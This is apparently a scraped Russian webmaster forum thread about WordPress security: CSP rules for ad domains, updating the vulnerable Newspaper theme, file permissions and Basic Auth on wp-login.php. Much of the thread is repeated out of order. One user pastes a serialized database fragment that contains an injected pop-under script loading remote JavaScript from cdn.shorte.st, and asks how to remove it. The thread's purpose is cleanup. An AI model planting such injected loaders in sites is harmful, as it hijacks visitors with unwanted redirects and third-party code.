alexey_jc: есть кто живой вообще? в свете майнинга на js тема CSP снова актуальна
Сейчас есть проблема: куча доменов adservices.google.mn - на конце любая зона
Не знаю как это влияет на Adsense, но хочется разрешить. Приходится каждую зону добавлять. А в CSP не вижу маски по зоне, только на поддомен можно. Если написать так: adservice.google.* - Chrome пишет в консоли что так нельзя. Неужели нет выхода, такой тупняк
sahalin: Обновлял с 6 на 8. Просто перезаписал все файлы темы. Никаких правок в старой теме у меня не было, поэтому все заработало с текущими настройками темы.
Если вы вносили правки в сами файлы движка, то естественно, их необходимо будет перенести (если вы не делали дочерней темы).
Не могли бы Вы прислать чистый фрагмент кода, без этого вируса?
Я его нашел в базе данных, удалил, сделал код так, как он был до появления вируса, но все настройки сайта после этого слетают..
Пробовал и на 6 версии темы и на 8, то же самое получается.
Дело не в помойке. Код читать и править умеем.
Ветка 6 и 7 темы содержала уязвимости (со слов разработчика).
Обновился на 8. Вроде полет нормальный.
Проверить версию темы можно в файле style.css
Подскажите, при обновлении на 8 дизайн слетает? Нужно ли после обновления что-то дорабатывать? У них периодически довольно-таки радикальные обновления этой темы происходят, потом приходится все переделывать заново. Сейчас у меня 6 установлена.
andrejnzhukov: Связано это все с тем же что и обсуждается в этой ветке /ru/forum/945213
Ctr упал не на блоках РТБ, а на старых блоках Директа тоже, причем только на одном сайте. На других и с РТБ (у некоторых блоков) нормальный ctr и на старых блоках Директа тоже.
ReScan.Pro нашел вставки с сайтов. Я обнаружил скрипт, содержащий эту вставку, в базе данных. Подскажите, пожалуйста, как его правильно удалить, чтобы не нарушить целостность и работу базы данных?
SeVlad: Это ты сам такое натворил или у хостера по дефолту?
И работает? Тогда есть ощущение, что нужно менять хостиг. :)
Сам ничего до этого не менял, это у меня на begetе так по дефолту было. Больше года я не смотрел эти права, сейчас обратил внимание, что у меня они не такие, какие нужны, хотя все нормально работает и с ними...
Кстати, а Вы не могли бы еще подсказать по правам на папки, у меня по умолчанию на все стоят 700, и на папки и на файлы, обязательно ли их менять на 755 и 644 на папки и файлы соответственно? Или 700 достаточно для безопасности?
SeVlad: Те, кто пишут (и что сделал ты, поставив авторизацию на wp-admin) не знают, что в этом случае юзерам не доступен wp-admin/admin-ajax.php, который используется подавляющим большинством тем и плагинов.
Ок, спасибо, буду знать, оставлю тогда код только в корневом htaccess, раз и так работает
SeVlad: Basic Authorization прописывается в хтацесс в корне. Закрывается wp-login.php. Или же весь wp-admin, но исключив аяксовские скрипты. Но wp-login.php и проще и достаточно.
Если не можешь сам прописать - воспользуйся стредсвами хостинга. Там есть что-то типа "защита каталога". Сделаешь на wp-admin, а потом в хтацессе его изменишь на wp-login.php.
В общем, не знаю точно, правильно ли я сделал, но, по крайней мере, все работает. Оставил один htaccess в папке wp-admin, я так понимаю, что он создает дополнительную форму для авторизации, если входить через /admin или /wp-admin.
А в корневой htaccess прописал вот это:
AuthUserFile путь/.htpasswd
AuthName "Private access"
AuthType Basic
<FilesMatch "wp-login.php">
Require valid-user
</FilesMatch>
П.С. Попробовал убрать htaccess из wp-admin и оставить код только в корневом, ничего не изменилось, также все работает. Странно, а везде пишут о том, что надо htaccess в wp-admin класть...
есть кто живой вообще? в свете майнинга на js тема CSP снова актуальна
Сейчас есть проблема: куча доменов adservices.google.mn - на конце любая зона
Не знаю как это влияет на Adsense, но хочется разрешить. Приходится каждую зону добавлять. А в CSP не вижу маски по зоне, только на поддомен можно. Если написать так: adservice.google.* - Chrome пишет в консоли что так нельзя. Неужели нет выхода, такой тупняк
У меня то же самое, не знаю, нужно ли разрешать
Обновлял с 6 на 8. Просто перезаписал все файлы темы. Никаких правок в старой теме у меня не было, поэтому все заработало с текущими настройками темы.
Если вы вносили правки в сами файлы движка, то естественно, их необходимо будет перенести (если вы не делали дочерней темы).
Не могли бы Вы прислать чистый фрагмент кода, без этого вируса?
Я его нашел в базе данных, удалил, сделал код так, как он был до появления вируса, но все настройки сайта после этого слетают..
Пробовал и на 6 версии темы и на 8, то же самое получается.
Нет, не пробовал :)
Дело не в помойке. Код читать и править умеем.
Ветка 6 и 7 темы содержала уязвимости (со слов разработчика).
Обновился на 8. Вроде полет нормальный.
Проверить версию темы можно в файле style.css
Подскажите, при обновлении на 8 дизайн слетает? Нужно ли после обновления что-то дорабатывать? У них периодически довольно-таки радикальные обновления этой темы происходят, потом приходится все переделывать заново. Сейчас у меня 6 установлена.
У вас случайно не WP с темой Newspaper?
Да, именно так
Связано это все с тем же что и обсуждается в этой ветке /ru/forum/945213
Ctr упал не на блоках РТБ, а на старых блоках Директа тоже, причем только на одном сайте. На других и с РТБ (у некоторых блоков) нормальный ctr и на старых блоках Директа тоже.
Сканируйте сайт айболитом, ищите вредоносный код. Чистите. Обновляйте плагины и CMS.
ReScan.Pro нашел вставки с сайтов. Я обнаружил скрипт, содержащий эту вставку, в базе данных. Подскажите, пожалуйста, как его правильно удалить, чтобы не нарушить целостность и работу базы данных?
Вот кусок базы, в котором находится этот скрипт:
";s:26:"tds_responsive_css_desktop";s:0:"";s:33:"tds_responsive_css_ipad_landscape";s:0:"";s:32:"tds_responsive_css_ipad_portrait";s:0:"";s:24:"tds_responsive_css_phone";s:0:"";s:15:"td_body_classes";s:0:"";s:21:"tds_custom_javascript";s:0:"";s:15:"tds_custom_html";s:0:"";s:12:"td_analytics";s:0:"";s:6:"td_ads";a:7:{s:6:"header";a:2:{s:7:"ad_code";s:878:"<script type=\"text/javascript\">//<![CDATA[
(function() {
var configuration = {
\"token\": \"a6f162b602a6de26110784b1c5ccc382\",
\"entryScript\": {
\"type\": \"timeout\",
\"timeout\": 3000,
\"capping\": {
\"limit\": 5,
\"timeout\": 24
}
},
\"exitScript\": {
\"enabled\": true
},
\"popUnder\": {
\"enabled\": true
}
};
var script = document.createElement(\'script\');
script.async = true;
script.src = \'//cdn.shorte.st/link-converter.min.js\';
script.onload = script.onreadystatechange = function () {var rs = this.readyState; if (rs && rs != \'complete\' && rs != \'loaded\') return; shortestMonetization(configuration);};
var entry = document.getElementsByTagName(\'script\')[0];
entry.parentNode.insertBefore(script, entry);
})();
//]]></script>";s:15:"current_ad_type";s:5:"other";}s:7:"sidebar";a:9:{s:7:"ad_code";s:0:"";s:9:"disable_m";s:0:"";s:6:"m_size";s:0:"";s:10:"disable_tl";s:0:"";s:7:"tl_size";s:0:"";s:10:"disable_tp";s:0:"";s:7:"tp_size";s:0:"";s:9:"disable_p";s:0:"";s:6:"p_size";s:0:"";}s:11:"content_top";a:9:{s:7:"ad_code";s:0:"";s:9:"disable_m";s:0:"";s:6:"m_size";s:0:"";s:10:"disable_tl";s:0:"";s:7:"tl_size";s:0:"";s:10:"disable_tp";s:0:"";s:7:"tp_size";s:0:"";s:9:"disable_p";s:0:"";s:6:"p_size";s:0:"";}s:14:"content_inline";a:9:{s:7:"ad_code";s:0:"";s:9:"disable_m";s:0:"";s:6:"m_size";s:0:"";s:10:"disable_tl";s:0:"";s:7:"tl_size";s:0:"";s:10:"disable_tp";s:0:"";s:7:"tp_size";s:0:"";s:9:"disable_p";s:0:"";s:6:"p_size";s:0:"";}s:14:"content_bottom";a:9:{s:7:"ad_code";s:0:"";s:9:"disable_m";s:0:"";s:6:"m_size";s:0:"";s:10:"disable_tl";s:0:"";s:7:"tl_size";s:0:"";s:10:"disable_tp";s:0:"";s:7:"tp_size";s:0:"";s:9:"disable_p";s:0:"";s:6:"p_size";s:0:"";}s:12:"post_style_1";a:9:{s:7:"ad_code";s:0:"";s:9:"disable_m";s:0:"";s:6:"m_size";s:0:"";s:10:"disable_tl";s:0:"";s:7:"tl_size";s:0:"";s:10:"disable_tp";s:0:"";s:7:"tp_size";s:0:"";s:9:"disable_p";s:0:"";s:6:"p_size";s:0:"";}s:13:"post_style_11";a:9:{s:7:"ad_code";s:0:"";s:9:"disable_m";s:0:"";s:6:"m_size";s:0:"";s:10:"disable_tl";s:0:"";s:7:"tl_size";s:0:"";s:10:"disable_tp";s:0:"";s:7:"tp_size";s:0:"";s:9:"disable_p";s:0:"";s:6:"p_size";s:0:"";}}s:23:
Это ты сам такое натворил или у хостера по дефолту?
И работает? Тогда есть ощущение, что нужно менять хостиг. :)
Сам ничего до этого не менял, это у меня на begetе так по дефолту было. Больше года я не смотрел эти права, сейчас обратил внимание, что у меня они не такие, какие нужны, хотя все нормально работает и с ними...
Кстати, а Вы не могли бы еще подсказать по правам на папки, у меня по умолчанию на все стоят 700, и на папки и на файлы, обязательно ли их менять на 755 и 644 на папки и файлы соответственно? Или 700 достаточно для безопасности?
Те, кто пишут (и что сделал ты, поставив авторизацию на wp-admin) не знают, что в этом случае юзерам не доступен wp-admin/admin-ajax.php, который используется подавляющим большинством тем и плагинов.
Ок, спасибо, буду знать, оставлю тогда код только в корневом htaccess, раз и так работает
Basic Authorization прописывается в хтацесс в корне. Закрывается wp-login.php. Или же весь wp-admin, но исключив аяксовские скрипты. Но wp-login.php и проще и достаточно.
Если не можешь сам прописать - воспользуйся стредсвами хостинга. Там есть что-то типа "защита каталога". Сделаешь на wp-admin, а потом в хтацессе его изменишь на wp-login.php.
В общем, не знаю точно, правильно ли я сделал, но, по крайней мере, все работает. Оставил один htaccess в папке wp-admin, я так понимаю, что он создает дополнительную форму для авторизации, если входить через /admin или /wp-admin.
А в корневой htaccess прописал вот это:
AuthUserFile путь/.htpasswd
AuthName "Private access"
AuthType Basic
<FilesMatch "wp-login.php">
Require valid-user
</FilesMatch>
П.С. Попробовал убрать htaccess из wp-admin и оставить код только в корневом, ничего не изменилось, также все работает. Странно, а везде пишут о том, что надо htaccess в wp-admin класть...